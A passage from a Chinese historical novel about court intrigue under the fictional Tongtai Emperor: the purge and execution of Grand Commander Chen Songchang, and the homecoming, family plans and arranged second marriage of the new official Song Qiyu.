不认识陈松骏,为了巴结上官,竟然罗织罪名,构陷他人。且不说陈都督想招你为孙婿,就看他战功累累,你也不该出卖他吧!从今往后,咱们的交情算是掰了。我与你势同水火,再莫相扰。”谭琴被骂得颜面扫地。他咬着牙说:“这这,真是不知好歹。我一片好心,却遭你辱骂。那陈松骏违不违法不是你说了算的,那是朝廷定的。得得得,我也不跟你这种青皮废话了。你呀,一辈子爬上不去。告辞。”说完,谭琴气哼哼地跨出了屋门。 宋启愚到房前礼节性地拱手算作送别,又回来劝慰童道生说:“再造,消消气,消消气。你不为名利所动,不向谬误低头的胆气愚兄佩服。”宋启愚抄起谭琴用过的茶碗,“哐啷”一声扔出了屋外,接着说:“以后,这厮用过的东西统统丢掉。我们对他也尽可以敬而远之。可是,兄弟呀,你不该这样跟他撕破脸皮。”童道生“呼哧、呼哧”粗喘了好大一会儿,才略微平静了些。宋启愚继续说:“兄弟是君子,会有很多顾忌;而谭琴这样的小人却没有一点底线。他若存心害人,你根本不是他的对手。对待这种人,不能太过决绝,即使有时必须表明态度,也要留有余地,让他觉得还有希望。同时,我们也要不断增强自己的力量,使那些小人不敢贸然攻击我们。”童道生也有些后怕。他重重地点了点头说:“兄长教诲,我当铭记于心。今后做事,我也会三思而行,尽量不意气用事。”宋启愚看童道生还是气不顺,便对外面喊道:“可用,延庆观旁边的书场还开门吧?咱们去散散心如何?老听你说那里的蜜饯糖葫芦好吃,我得给童检讨买一串尝尝。”童道生又是好气又是好笑地说:“宣道兄长,我又不是小孩子,还贪嘴不成。”这时,曹可用走进屋里说:“书场到半夜才关门呢。走吧,别想那些烦心事了。我带你们去,给你们买好吃的。” 三天后的朝会上,同泰帝面沉似水。他举起一摞奏折,阴冷地说:“陈大都督,朕自继位以来,赏了你巨量财宝,还提升你的官爵,让你开衙建府,起居八座,皇恩不可谓不厚重。而你却仗着立有微功,培植党羽,私蓄武装,纵容亲族作奸犯科,还指使手下卖官鬻爵。朕手里拿的这些弹劾折本桩桩与你有关!”对皇帝的突然发难,陈松昌毫无准备。他惊恐万状,跪爬到御阶前,语无伦次地说:“陛下,臣不敢培植党羽,更不敢私蓄武装,请陛下明察。臣,臣的亲属或许真有作奸犯科者,但臣绝没有参与,请陛下为臣,为臣主持公道。”同泰帝冷笑着将一份奏折扔下龙案说:“这是状告你大哥陈松明的。你敢说他的劣迹你不知情吗?”接着,同泰帝又一连扔下多本奏疏说:“这是揭发你的旧部黄清顺割据自立的,你难道也不知道?这是弹劾你二哥陈松骏贪赃枉法的,你还出面为他回护过,不会忘记吧?还有,弹劾你的密友延州镇守使郭嘉生保存实力、不救友军的。还有,状告你杀良冒功,惧敌畏战的。这些难道都是冤枉你吗?”陈松昌磕着头说:“陛下明鉴,臣自为官以来,偶尔的行为不端和专断独行或许有之,但臣对陛下对先皇绝无二心啊。如今,臣面对众人弹劾,百口莫辩,臣唯有辞去大都督职务,接受调查,以证清白。”说着,陈松昌摘下乌纱帽,恭恭敬敬地放在了身前。同泰帝缓和了一下语气,又说:“朕也希望这些弹劾都是捕风捉影,也想通过彻查给你公道。但你必须端正态度,认真反思,约束部下,配合调查。你,你先退下吧。朕稍后会有恩旨给你。”陈松昌磕了个头说:“陛下令旨,自当遵从。臣扣谢陛下隆恩。” 陈松昌本以为这是一桩简单的栽赃攀咬案件,是那些政敌对自己发动的突然攻击。在回府后,他告诫家人低调谨慎,不得招惹是非。同时,他谢绝了所有旧部的探望,并让他们协助朝廷全面调查。陈松昌始终认为以自己目前的地位和皇帝的睿智英明,他肯定能有出头之日。但令他万万想不到的是,这次要对付他的不是别人,而是同泰帝本人。 第九回2 迷茫的探花郎 罢免陈松昌当天,同泰帝将赵松寿叫到养德殿密谈了将近一个时辰。而后,同泰帝下旨由副宰相赵松寿会同刑部尚书师道全、大理寺卿周做会彻查陈松昌一案。赵松寿领旨后,立即派师道全赴西北调查拿问一干涉案人员;派周做会在京城逮捕陈松昌的多位亲族、旧部,并严格审问。 在短短几天时间里,许多不利于陈松昌的证据汇集到了赵松寿处。原大都督府的下属,为了自保,也纷纷出首自己的老长官。一些见风使舵的言官、御史也开始根据传闻上书,弹劾陈松昌及其故旧。皇帝对陈松昌的处置由开始的回府居住;改成禁军守卫、限制出入;又改成严格监管、禁止出入。到了腊月中旬,随着刑部尚书师道全将身在陕西的陈松明、陈松骏、黄清顺、郭嘉生等人逮捕入京,陈松昌案件的严重性陡然上升。其中,郭嘉生的证词对陈松昌最为致命。他说陈松昌在去年抗击西羌的过程中,多次违旨,还派出使节向西羌求和,意图割据一方;他又说陈松昌不救友军,蔑视监军,杀良冒功,激起民变……因为郭嘉生长期担任陈松昌的副将,又控制着四万西北边防军,他的证言被上报后,同泰帝震怒,立即召见了王克明、赵松寿、冯体仁、张文辉和刘睿五人。 同泰帝难过地说:“朕实不愿处置陈松昌,但越来越多的证据表明,这个人危害到了国家社稷。你们也许知道,也许不知道,陈松昌早些年一直把朕当成小孩子看待。即使朕已经登基,他仍然对朕缺少敬畏之心。他的大哥陈松明仗着他的势力做到了绥州镇守使,在军队里卖官鬻爵,贪污腐败,在地方上盘剥百姓,生活奢靡。他的二哥陈松骏利用为西北筹办粮饷的机会,侵吞了国库一百多万两银绢,并将其中三十万两送给陈松昌,替自己买通关节。陈松昌本人在西北作战时,先从国库里领取了二百万两军费,可转身就拉回了自己府中,用于前线作战的银子连五十万两都不到。他为了独占功劳,让四川兵马突前,可又不及时接应,造成我朝一路大军被西羌围歼。在拿下陇县后,因进兵迟缓,致使西羌主力逃脱。为了凑人头,他下令屠尽县内百姓,激起了民变。”同泰帝越说越激动。他拍案而起道:“最为可恨的是,他在对西羌作战结束后,滞留西北,联络省府,欲图分疆自立。后因朕击败了柔然,平定了北方,他看无机可乘,才被迫回京。你们说,对这种忘恩负义、图谋不轨的小人,朕应怎样处置?”王克明因有把柄在同泰帝手中,听了皇上的话,第一个表态说:“应用极刑,以正国法。”赵松寿也说:“据臣所查,此人确实罪大恶极,应明正典刑,以儆效尤。”刘睿紧接着说道:“臣赞同二位相国的提议。”张文辉是最了解陈松昌的。他不相信陈松昌真的十恶不赦,但他又不敢明着为陈松昌开脱。他轻轻咬了一下嘴唇,缓缓说道:“陛下,现在就判定罪责,似乎有些仓促,可否继续调查,待过年之后,证据确凿,再做裁处?”见同泰帝不置可否,冯体仁大概领会了皇帝的意图。他向上扣头说:“皇上,陈松昌犯下了不赦之罪,按律是要诛九族的,可吾皇宅心仁厚,不忍灭其满门,这份天子仁心,令臣感动。臣恭请陛下先将陈松昌的罪行昭告天下,判其重罪。而后,陛下再以陈松昌曾为朝廷立过功勋为由,特旨对其减等处罚。这样既可震慑心怀不轨者,又可彰显陛下宽仁爱民之心。”同泰帝点点头说:“冯相言之有理,你们就按这个意思商量着拟旨吧。记住,朕做事就是要让天下人心服。” 腊月二十三,天上飘着点点雪花。时近中午,赵松寿捧着圣旨昂首走进了大都督府。当跪伏在地的陈松昌听到自己被赐自尽的时候,他挣扎着站起来,高声喊叫着:“皇上,臣要面见皇上!臣要见皇上!臣冤枉,臣有话说啊!”赵松寿冷冷地说:“可皇上并不想见你。陈大都督,不就是个死吗。你在战场上拼杀多年,还怕这个不成。”陈松昌亢声说道:“可我不能背负着谋反的骂名呀!我是忠于大周朝的呀!”赵松寿说:“皇上已经减了你的罪,对你的家人也只是流配边城。你应该谢恩才是。”见陈松昌一直大喊大叫,不肯接旨,赵松寿随骂道:“看来,你也是怂包一个!”他把手一挥,示意禁军动手。跟在他身后的四名军将立即扑过去,架着陈松昌就往堂屋里拽。赵松寿跟在后面补充说道:“皇上恩典,赏他全尸。用白绫勒死好了。”片刻之后,赵松寿一边命令刑部的人验尸装殓,一边指挥着禁军抄没大都督府。 正月初一朝会,按照惯例,凡在京七品以上官员都要到宣德殿外,向皇帝叩贺新春。寅正刚过,翰林院掌院学士就带着全体侍讲和翰林在宣德门外列队守候了。卯初,宣德门开放,官员们按照官阶次序进入了殿前广场。由于是冬天,又是在户外,北风刮在人身上,象刀割一般疼。官员们一个个被冻得瑟瑟发抖。新晋翰林蒋清合已经四十多岁了,身体孱弱,本就有咳喘的毛病,在寒地里又冻了这么久,眼前发黑,身子发软,一头昏死在地上。跪在旁边的翰林们赶紧把他扶起来,拍打呼唤。宋启愚看了看蒋清合的脸色,摸出一个小药瓶,拔出塞子,抱着蒋清合给他灌了几口。宋启愚对众人说:“他是受了寒,喝下药,休息一会儿能缓过来的。等下了朝,再调理调理就没事了。”果然,蒋清合喝药之后,很快就醒了。他一边拱手一边说:“麻烦列位了,我没事。时辰快到了。大家回去,跪迎圣驾吧。”说着,他便再次郑重地整理好衣冠,跪地等候了。 卯正时分,同泰帝穿着整套冠冕,摆着全副仪仗,威风凛凛地来到宣德殿。群臣尤其是低品次臣僚们个个心情激动。他们三跪九叩,山呼万岁。皇帝升坐后,高声说:“众卿平身。赐新年贺词。”白晨双手捧着一道诏旨,送到跪在御阶下的王克明和张文辉手上。王、张二人向皇上磕头后,转过身来,朗声读到:“吾皇继位,振兴朝纲。奏凯柔然,平定北方。远夷归化,太平中央。为民安乐,减债安邦。五谷丰登,九州同旺。开科取士,干吏封疆。清除奸邪,魑魅震惶。……睿智天子,皇朝永享!”读完新年贺词,百官向天子再次行了三跪九叩首大礼。同泰帝宣布退朝,并在乐曲声中走下了金殿。贺岁大典顺利完成。 按照钦天监测定的时辰,同泰帝命令白晨将贺岁诏书分赐各部,以示皇家受命于天和光明正大。白晨先派出几十名太监去往他处,而他自己则带了一份召旨往翰林院颁赐。翰林院的一众官员听说来使是大太监白晨,以掌院学士为首的所有人急急出了登瀛门前来迎接。官员们一个个笑颜如花,恭敬至极。白晨也不多言,大模大样地走进正门,穿过讲习堂和过厅,最后将圣旨供奉于内堂之中。期间,翰林们不断向白公公献殷勤。白晨也只是点头致意,偶做应答。当白晨离开翰林院的时候,全体翰林更是跪送公公出门。 白晨刚要登车离开,从街口走来几个七品服色的官员,为首的正是宋启愚。原来啊,由于蒋清合在散朝后身体支撑不住,宋启愚和童道生、朱昌海、冯肖文、金杰等几名翰林便请示了掌院学士,先送蒋清合回府修养,再回翰林院当差,故而迟到。宋启愚见钦使是白晨,赶忙深施一躬,退到了路旁。朱昌海本欲下跪,金杰小声说:“按朝廷规矩,钦使宣旨完毕,官员不应下跪。我们该按宣道的礼数晋见。”于是,几名翰林也长躬让路见过了白晨。白晨从车上下来,还了几位翰林一躬,笑着说:“宋大人,几位大人,新年好哇。”翰林们赶紧也还礼,答说:“白公公新年好。”白晨又对宋启愚一拱手说:“宋大人,皇上有话让咱家单独问你。其余官民回避。”童道生等人不敢抗旨,赶紧拱手别过白晨回翰林院去了。 白晨沉稳地向前走了几步,笑眯眯地看着宋启愚说:“三月不见,恩公在京城还住得惯吗?”宋启愚躬身说:“恩公的称呼,下官实不敢当。某在汴京一切顺遂。敢问公公,圣上有何话问在下?”白晨呵呵一笑说:“咱家只是编了几句谎支开他们罢了。咱家叫您恩公确实出自本心。咱家虽是阉人,但基本的伦常,咱家都懂。既然恩公不愿声张,那么以后咱家在公开场合还称呼您为宋大人也就是了。”宋启愚又一躬身说:“下官多谢公公体谅。公公有何赐教,还请明言。”白晨压低声音说:“前番在山西,咱家已告知恩公,咱们这位皇上是最看重脸面和声望的。现在,恩公既已在朝为官,就更得把咱家的话记牢。否则可是要招祸的。”宋启愚点头说:“公公放心,宋某绝不敢拿救驾之事到处卖弄。”白晨又说:“恩公啊。前些时的大都督一案,那陈松昌之所以被赐死,一是因他兵权太重,皇上忌惮;二是因他功劳太大,遮掩了圣上的光芒;三是因他不知收敛,时常招摇;四是因他曾轻慢当今,遭到记恨。所以,咱家才说圣主难侍啊!”宋启愚被白晨的话惊得打了好几个寒颤。他望着白晨,一时不知怎样回话。白晨又说道:“恩公一定觉着奇怪,咱家为何对恩公如此看重。”宋启愚点点头说:“公公明鉴,宋某确实困惑。”白晨凝视着宋启愚,又说:“不瞒恩公,咱家的高祖曾避居光裕二十载。可以说咱家几代人都欠着宋家的人情呢。起初,咱家也想着,过去的事不必再提了抑或是给光裕寨送些银子、求些赏赐就算报恩了。可在咱家亲身涉险时,我才明白钱物有时候什么都不是,而对于品行高洁的恩公来说,就更不值一提。故此,咱家才要全力地帮助恩公,回护恩公。不过,咱家对恩公也有个小小的请求,即在国家危难时,请恩公挺身而出,保我大周国祚。”宋启愚没有想到,这个看似仗势弄权的大太监会对社稷如此忠诚。他身施一躬说道:“公公用心良苦,宋某感激之至。请公公放心,但使国家有难,宋某必定倾尽所能。”其后,两人又扯了几句别的话,才拱手分别。 新科进士们在翰林院学习的时光很快便过去了。 阳春三月,吏部参照各部院考语,实授宋启愚为正六品工部虞衡司员外郎,主要负责制造收发各种器物,了解制造技术,铸钱和统一度量衡等工作。童道生由于年龄尚小,仍留在翰林院,实授正七品编修职务。其他七十名新翰林也各授了官职。同泰帝还亲发召旨,准予七十二名新官休假三个月,回乡省亲,待返回京城后再行赴任。 对于这些离家的游子,回乡之路不知多少次萦绕于他们的梦中。接旨后,宋启愚和童道生仅在汴梁城停留了三日,便拜别了官署和师友,带着采购的馈赠礼品,高高兴兴地离了开封。 途径晋阳时,宋启愚和曹可用还特意到朝阳街二条转了一遭。使他们大为光火的是,当地官府为了平息监军白晋的怒气,竟然给临近案发地的十几户人家都扣上了通匪的罪名。家家都有人为此丧命。宋启愚强忍着泪水对曹可用说:“我们原想为民除害,可却牵连了这么多无辜。看来,真正危害百姓的不是那个无赖,而是在背后为其撑腰的强权。不扳倒白晋这样的恶人,老百姓就永远得不到安宁。” 十几天后,踏着夕阳的余辉,宋启愚三人终于驻马于滹沱河畔。 望着远处高大的光裕寨,宋启愚跳下战马,深情地亲吻着脚下的土地。曹可用则提马向前,并掏出小铁哨冲着寨内“嘟、嘟、嘟”地吹了几下。很快,寨墙上面有了回应。团练兵们纷纷高喊道:“是宋团练回来了!团练他们回来了!”还有几个寨兵吹着号角,飞跑着往寨内送信。不大的功夫,席军民和吴襄带着一百多名骑兵飞驰出寨。他们大笑着,高呼着,脸上洋溢着灿烂的笑容。紧接着,宋太公带着阖府亲眷,抬着提前准备好的仪仗,吹吹打打地前来迎接。其后,又有听闻消息的乡民,扶老携幼地源源而出。人们嘴上叨念着本寨的子弟衣锦还乡,心中憧憬着自己和国家美好的未来。 第十回1 宋氏开枝本心不移 早在几个月前,宋太公便命人制作了两块大大的牌匾,一块上书“探花第”,悬挂于门楼“光前裕后”匾额下;另一块上书“进士第”,悬于老宅侧门之上,并单独隔出这处院落,做为童道生回乡的公馆。宋启愚和童道生回到光裕寨的头几天,宋太公在老宅里摆下长席,招待前来庆贺的父老乡亲,后来,由于来的人太多,又在内街和祠堂之间加开了五十多桌席面,才能够勉强支应。宋启愚的二叔宋祥义还从应县请来戏班,在校场搭台唱了十天大戏。那热闹的场面,对于光裕寨而言,真是百年难遇。 在这些日子里,童道生跟着宋启愚迎来送往,谈笑风生,待客吃请,倒也不觉寂寞。但每每夜静更深,抑或一觉醒来,难以排遣的孤独感和对亲人的思念就会令这个年轻人撕心裂肺、泪湿沾巾。 待客结束后的第二天。童道生正在院子里晨读,就听有人扣门。门外传来宋启愚亲切的声音:“再造,开门来。”童道生赶紧打开大门。就见宋启愚和宋启智兄弟牵着童雅琴的小手正站在门前冲自己微笑。曹可用领着几十名骑兵在不远处也看着自己。更远的地方,吴襄押着七八辆大车,车上鼓鼓囊囊的,不知装的是什么东西。宋启愚说:“晚上又没睡好吧。愚兄知道你的心事,已经替你都准备好了。我们现在就出发到云冈村去,给你的亲人和乡党上坟去。”童道生听后,眼泪夺眶而出。他扶着门,心绪翻涌,哀声大恸,过了好一会儿,才平静下来。他拉过妹妹,倒身就要给众人下拜。宋启愚急忙扶住他说:“再造不可如此。朝廷命官只跪‘天地君亲师’和上官,不跪他人。”童道生流着泪说:“各位父老对我的恩情天高地厚,我今生难报。宣道兄屡次救我性命又教导于我,更是恩同再造。在诸位面前,我不过是一介流落书生,怎敢妄自尊大,又岂能忘恩负义。莫说中个小小的进士,就是封侯拜相,我也早把各位当成自己的亲人,区区一拜又有什么不妥的呢!”见童道生执意要跪,宋启愚没有再拦,而是闪到一旁,由着童道生给众人磕了个头。接着,宋启愚搀起童道生,对他说:“这次上坟,兄弟要穿上全套官服,披红戴彩地去。要让家里的亲人知道,他们的后生有了出息,让他们在阴间得以安心长眠。”宋启愚又低头对童雅琴说:“拉着你哥哥进屋,把他最漂亮的官服找出来,让他穿戴整齐。咱们一会儿就去云冈村。”童雅琴答应一声,拉着哥哥进屋去了。 在路过龙潭军哨时,童道生很想找到当初埋葬张老爹的地方。但时移事改,又经战乱,在蔓草荒烟间,那几处坟包已无处寻觅。宋启愚就在大路上设置了香案,摆上贡品,让童道生兄妹向北跪下,遥祭亡魂。 第三天晌午,一行人终于来到了云冈村口。三四尺深的稗草淹没了道路旁边的断壁残垣,除了几只野鸟被车马声惊飞外,村子里再无动静。童道生凄惨地叫着:“爹!娘!二叔!三叔!三婶!张大娘!李叔!我回来了。童道生回来了!你们应我一声呀……”随即,童道生顿足捶胸,掩面大哭。童雅琴跟在后面也号哭不止。宋启愚一面让宋启智和曹可用上前安慰童道生兄妹,一面询问吴襄:“你们把坟修在什么地方了?”吴襄向村子后边指了指说:“就在那边的空地里。去年打跑柔然后,你受了重伤,吩咐我和曹可用带着童先生领了几十个寨兵前来料理的。我们从井里捞出了八十几副尸骨,已经分不清楚是谁了,又在附近找到了几块零散骨殖,跟童先生商量后,就刨了个长坑,立了一座百人冢。”宋启愚又问:“可曾找寻过再造父亲的遗骸?”吴襄说:“找过了,但没有找到。只是从石窟里寻到了一本他父亲诵读过的《金刚经》。”宋启愚怅然说道:“让团练军把坟冢周围收拾收拾。你去把祭台,贡品布置一下吧。”吴襄领命,带着人去了。宋启愚走到童道生跟前,先抱起童雅琴,又紧握着童道生的手,对着村子里的残墙瓦砾高声喊道:“各位故去的父老乡亲,你们的好后生童道生,没有辜负你们的希望,今日衣锦荣归。现补立石碑一通,凡我乡游魂无论身在何处,俱请回转。现备有三牲、纸钱和美酒,特来拜祭诸位的英灵。如今,柔然人已被我等击败北逃,请诸位安心享用。”说罢,宋启愚拉着童道生坚定地向百人冢走去。身后,几名寨兵将早已准备好的纸钱一把一把扬向空中。不知是什么原因,原本和畅的天空,陡然刮起了一阵旋风,卷着许多纸钱飞升而去。 到了坟边,童道生和妹妹跪伏于地。宋启愚下令立碑。二十名寨兵拿着器械在曹可用的指挥下从车上卸下一通青石墓碑,上书“云冈村亲人冢”,落款为“大周翰林童道生敬立”。随着墓碑缓缓树立在百人冢前,童道生哭泣着磕头说:“亲人们,前次修墓过于仓促,不肖后生在恩主的帮助下今日为亲人补立石碑于墓前。望亲人们安心归去,早升极乐。”接着,童道生双手合十开始默诵《金刚经》,为亲人超度。宋启愚高举酒杯,洒酒祭奠;吴襄等人则取来备好的纸人纸马焚化于百人冢前…… 自打这次上坟回来,童道生的性格一下子变得非常豁达,不但对熟识的人十分热情,对寨民们也总会嘘寒问暖,甚至对过客也笑脸相看。人们对这位平易近人的年轻翰林在原先喜爱的基础上,又增加了几分敬重。 转眼,假期已过去了一半。这一日,宋太公把全家人召集到厅堂,商定家族今后的发展规划。大厅中,太公居中稳坐,宋启愚昂首站在太公身侧,下面依次坐着大老爷宋祥仁夫妇,二老爷宋祥义夫妇,三老爷宋祥礼夫妇,在几位老爷身后则站立着家中的另外四位少爷启元、启诚、启麟和启智。太公开口说道:“我们宋家蛰伏了几十年,现在终于又能为国报效了。以前的二百多年,我们始终是在原地发展,虽然安定兴旺,但眼界毕竟窄了些。如今,宣道做了京官。我们这个家族也该适时地向外走一走,开枝散叶,强固根基,只有如此,才能保我族人福荫万代,永享太平。”宋启愚的父亲宋祥仁点头说:“父亲说的是。前些日子咱们父子几人也在一块议论过,大的方向已经商定,具体怎么安排,全听太公吩咐。”另外两位老爷也表示赞同。于是,太公接着说道:“好。既然如此,我就开门见山地说,我想派老三一家迁居晋阳,会同曹可用专司盐业生意。寨子里的人员你可任意调配,初期的成本用度全由寨仓供给。两年内不必向寨子里缴纳收益,之后,每年的盈利你处留两成,寨子里留两成,供应宣道处一成,寨民们共享五成。当然,如果生意亏本难以为继,老三一家也可回来,光裕寨永远是你们的家。”三爷夫妇听后,拉着儿子启诚跪倒在地。宋祥礼说:“儿子是宋家人,自然不会给祖宗丢脸,也不会忘记家族的根本。儿子过些日子,就先行到晋阳置办产业,联络商户,待收拾停当,再迁媳妇和启诚过去。我只愿父亲和兄长们保重身体,逢年过节,我定当常来光裕看望亲人。”太公伸手拉起了三儿子,对他说:“快起来。好在晋阳离光裕寨不算遥远,为父也会经常派人去看你们的。”让宋祥礼夫妇归座后,宋太公接着说:“原先寨子里的日常事务就是老大负责,以后还由你打理。”宋祥仁躬身应诺。宋太公又说:“宣道做了官,以后不可能再管理团练军,这几年乘着我的身体还支撑得住,就由我暂管些时日,待启智年满二十,再交由启智统领。启智啊,我屋子里的兵书,你可要好好研读,将来做个象你哥哥一样的好团练呀!”宋启智恭恭敬敬地鞠了一躬,答说:“孙儿遵命。”太公又转向二儿子宋祥义夫妇说:“宣道走后,寨子里的骡马等生意就交给老二了。另外,矿山还归你监管,你要多操心。启元和启麟也能帮你做不少事情了,你要好好管带呀。”二老爷也痛快地答应下来。太公挺了挺胸膛,慢慢言道:“能在我手上让光裕寨开枝散叶,再造辉煌,我也算没有辜负你们爷爷当年的期望。在此,老夫还要再次强调家规,无论我宋氏以后怎样发展,只要是宋氏子孙就要维护桑梓安定,保护百姓太平,谁若欺压良善,祸害地方,就是我宋氏不共戴天的仇敌。”在场的宋家儿孙一起跪地,慨然应诺。 之后,太公把其他人都打发走,只留下宋启愚。太公语重心长地说:“孙儿啊,你是咱宋家这一代人里的精英,你的学问人品无可挑剔,就连祖父也很钦佩;你的果决和沉稳远超常人,老夫也很放心;你的能力和睿智更是咱宋家人的骄傲;然而,在官场上满脑阴谋、蓄意害人的家伙比比皆是,你越是能干就越招人嫉恨,因此,你要刻意收敛锋芒,提防和远离小人,尊敬并重用能人,公平和亲切地对待中人。而对于那些上官,在你的力量达不到时,咱们不去迎合他的恶行,不助纣为虐就可以了,不必求全责备。此外,你在外为官,与奸邪之徒往来不可避免,咱们又不愿同流合污,那么就只能用金钱封住这些人的手脚和嘴巴,而且,往往,这种人也吃这一套。为此,老夫特意从寨子每年的总营收中拨出一成,给你平事儿使用,若有不足,老夫还可另行筹措,所以,在经济方面你不要担心。”宋启愚单腿跪地,双手扶着祖父的膝盖,郑重地说:“太公教诲,孙儿谨记。孙儿知道轻重,太公放心就是了。”太公把宋启愚拉起来,笑眯眯地看着他说:“把你留下还有一件重要的事情要你同意。”宋启愚又一躬身说:“无论何事,自有太公做主,孙儿没有意见。”太公哈哈大笑起来,说道:“这可是你同意的。你还记得代州镇守使韩通吧。自打见你第一面起,他就对你特别中意。去年击败柔然后,他有意将自己的小女儿丽华许你为次妻,老夫当时以你功名未成为由没有答应。今年年初,韩通领着女儿亲自登门求我玉成此事,老夫碍于情面,难以拒绝,便应允了下来。现在要你愿意才行呀。”宋启愚原先微红的脸变得通红。他略有些结巴地说:“可,可咱们家少有纳妾的规矩呀。您让我妻真儿怎么办?”太公认真地说:“小真确实是个好女子,但她身体羸弱,恐难长寿,且她又要照顾卧病的父亲和伺候公婆儿女,恐怕此番无法陪你赴京上任。她也因不能料理你的起居感到愧疚。此前,老夫也曾问她,她对此事没有意见。而且,她见那女子伶俐乖巧,与你相匹,故与韩丽华已经姐妹相称。”宋启愚又说:“可我,别人会如何看待我呢?”太公呵呵一笑说:“哎!你平时的果断劲都哪儿去了。一则你在外生活确需女人照顾;二则你可以借口家有娇妻,推掉许多不必要的应酬;三则那丽华自幼学文习武与你意趣相合,又通情达理,今后必是你的贤内助;四则与韩家联姻我光裕寨增加了强大外援,更能够抵御外侮。你想想看,去年柔然虽然退兵,但实力未损,几年之内,他们还会南侵。到那个时候,老夫已经年迈,你又不在寨中,我光裕父老靠何人保护呢?”宋启愚沉吟了半晌,终于点头说:“那就照太公的吩咐办吧。”太公又笑起来,说道:“对吗,大丈夫不可胡为,但不是说什么事都不能做。前些日子,韩通大人来寨子里庆贺你为官时,说得明白,因是迎娶次妻不必大操大办,只要你前往代州就亲即可。当然,我们也不能委屈了人家,老夫已备下重礼,你过几日便带些人动身到代州去,迎娶丽华小姐。” 第十回2 宋氏开枝本心不移 宋启愚同意来代州就亲的消息很快便传到了韩通的镇守府。韩通立即叫来他的四个儿子和几名心腹部将,命他们分别带人采办嫁妆、收拾公馆、布置厅堂、广发请帖、准备酒席,并再三强调一定要做到最好。 晚间,吃罢了饭,韩通正美滋滋地坐在后堂欣赏自己给女儿精心挑选的首饰。韩丽华提着一盏红纱灯从外面轻盈地走了进来。韩通见是女儿,脸上乐开了花,说道:“女儿啊,快来看看爹准备的这些东西你喜不喜欢。”韩丽华放下纱灯,俏皮地一笑说:“嘿嘿,爹最疼我了,一定都是好的。不过吗……”韩通把首饰放到一边,问道:“有什么要求,你就说,爹再给你置办。”韩丽华绕到爹爹身后,嘟囔着说:“你总是夸这个宋启愚如何如何了得,还要把我嫁给他当次妻,他真有那么好吗?”韩通把脸一沉,说:“你这鬼丫头,爹会害你吗?那宋启愚确是人中之龙,他济乡党解危困,做生意走外邦,办团练打柔然,考功名中探花,这一桩桩哪有一件是普通人能做到的!你嫁过去后,虽说是次妻,但其正妻又不跟随进京。到了京城,你就是堂堂正正的员外郎夫人,这比嫁给谁都强呀。再说,咱家跟宋家也算世交,这层关系可得维系好呀。”韩丽华咯咯笑着说:“爹,女儿不是反悔。女儿是想逗逗这个宋启愚,看看他的人品和本事。”韩通也笑道:“你这臭丫头,都十七了,还这么调皮。你别太过分,当心惹恼了娇客。在家爹娘不打你,到了夫家,有你好看的。”韩丽华趴在父亲肩头,撒娇说:“我不怕,还不一定谁能打过谁呢。爹,你还得让四哥帮我演出戏……” 时近月末,宋启愚在太公的一再催促下,极不情愿地踏上了去往代州的路。和宋启愚不同,跟着去迎亲的宋启智、吴襄、席军民、曹可用、董阳等人倒是异常兴奋。他们都想在宋启愚的婚礼上好好热闹热闹。此外,由于宋启愚打算就亲后直接进京,所以,童道生和被聘请为师爷的余允文也加入了迎亲队伍。一行人骑着马、坐着车,有说有笑地向代州开来。头两天,虽然没有人敢奚落宋启愚,但作为读书人,宋启愚总觉得别扭。为了避免尴尬,他拉着弟弟并马同行,每到险要之处,就指划着给弟弟讲解行军打仗的技巧。宋启智倒也虚心,全都认真记了下来。 到了第四天晌午,就亲队伍过了雁门关,这里离代州只有三十多里地了。前方道路上突然一阵大乱,就见五六个大汉正在追打一个身穿长袍的年轻人。年轻人一边跑一边叫着“救命”。眼看这人就要落到对方手里了,席军民一马当先冲了过去,高喊道:“住手。光天化日之下,你们就不怕闹出人命吗?”那几个大汉先是一愣,而后,一个领头的说道:“壮士,不关你们的事。他抢我们的钱,当然该打啦。”曹可用凑上来,说道:“我们可以不管,但你们得说清楚。”那大汉说:“他叫韩四儿,这几日,天天到我们场子里赌钱,前后输了百十两银子。今天,他看翻本无望,抢了桌上的银子就跑。我们几个是看场子的,抓不住他我们都得丢饭碗,您说我们能不打他吗?”这时候,宋启智提马上前,开口说:“不就是百十两银子吗,还能比人命更金贵不成!”宋启智又转头问韩四儿:“赌徒挨打一点都不亏。我问你,为什么赌钱?说好了,小爷替你还账。”韩四儿乜斜着眼睛看了看宋启智,可怜兮兮地说:“我娘去年冬天得了一种怪病,方士说得去求一位高僧施法禳解。可那高僧一张口就管我要五百两银子的酬劳,您说我上哪儿去弄。于是就想到赌场碰碰运气,没想到越输越多,这才走了下道。”宋启智想了想说:“看来,你还是个孝子。那小爷我……”宋启智刚想替人出头,就听后面传来了哥哥的声音:“启智,可别上了他的当。你看此处刚出关城,前面哪儿有赌场,这几个人分明就是一伙,只为博取他人同情,骗取钱财,得些好处罢了。”此时,曹可用和席军民心领神会,快速拨马挡住了那几个壮汉的退路。吴襄从宋启愚身后一边提马向前一边冷笑着说:“几位,栽了吧。碰到我们,算你们倒霉。是跪下求饶呢,还是要我们几个动手呢?”宋启愚催马来到启智跟前,微笑着对弟弟说:“启智,今天你犯了两个错误。其一,观察不够仔细,如此明显的破绽都被你忽视;其二,说话太过傲慢,缺少谦卑之心。此两点以后一定要改正。”就在这时,那韩四儿突然开口大叫道:“好一个聪明睿智的宋宣道!”宋启愚一愣,甩头看着韩四儿,问道:“你如何知道我的名字?”韩四儿绕过吴襄,笑着说:“我是韩德明,代州镇守使的四公子。今日这一出全怪我那小妹,原想试试宋公子的本事,不想瞬间就被公子看穿。家父说的不错,宋公子果然是举世无双的漂亮人物。”宋启愚听后,赶忙跳下马,笑着拱手赔礼说:“误会,误会。宋某唐突了,请韩兄弟见谅。”宋启智等人也过来赔了不是。韩德明又向众人做了个罗圈揖,笑着说:“今日全是韩某的错。等到了代州,我自会盛情招待诸位,向诸位赔礼。”接着,韩德明眼睛一转,拉住宋启愚,小声说:“宋家姑爷,我那妹子聪明伶俐也懂事,将来必能成为好媳妇,只可惜,她长得肤黑貌丑,不知公子能否好好对她?”宋启愚挺生气,瞪着眼睛看了看韩德明,说道:“这是什么话!我既已应亲,就当以正礼待她,怎会嫌弃她呢!你这做哥哥的如何这般埋汰你妹子。”身后的宋启智挠了挠头说:“新嫂子我见过呀,一点也不丑呀!他又骗你呢!”韩德明哈哈大笑,高声命令从人说:“你去代州回报我爹,说姑老爷到了。这边我会招呼。还有,告诉我那妹妹,宋公子人品贵重,学问一流,让她别再胡闹了。”韩德明又对另一个从人说:“去告诉前面的吹鼓手,吹打起来,要让全代州的人都知道我妹妹嫁了个好夫婿。” 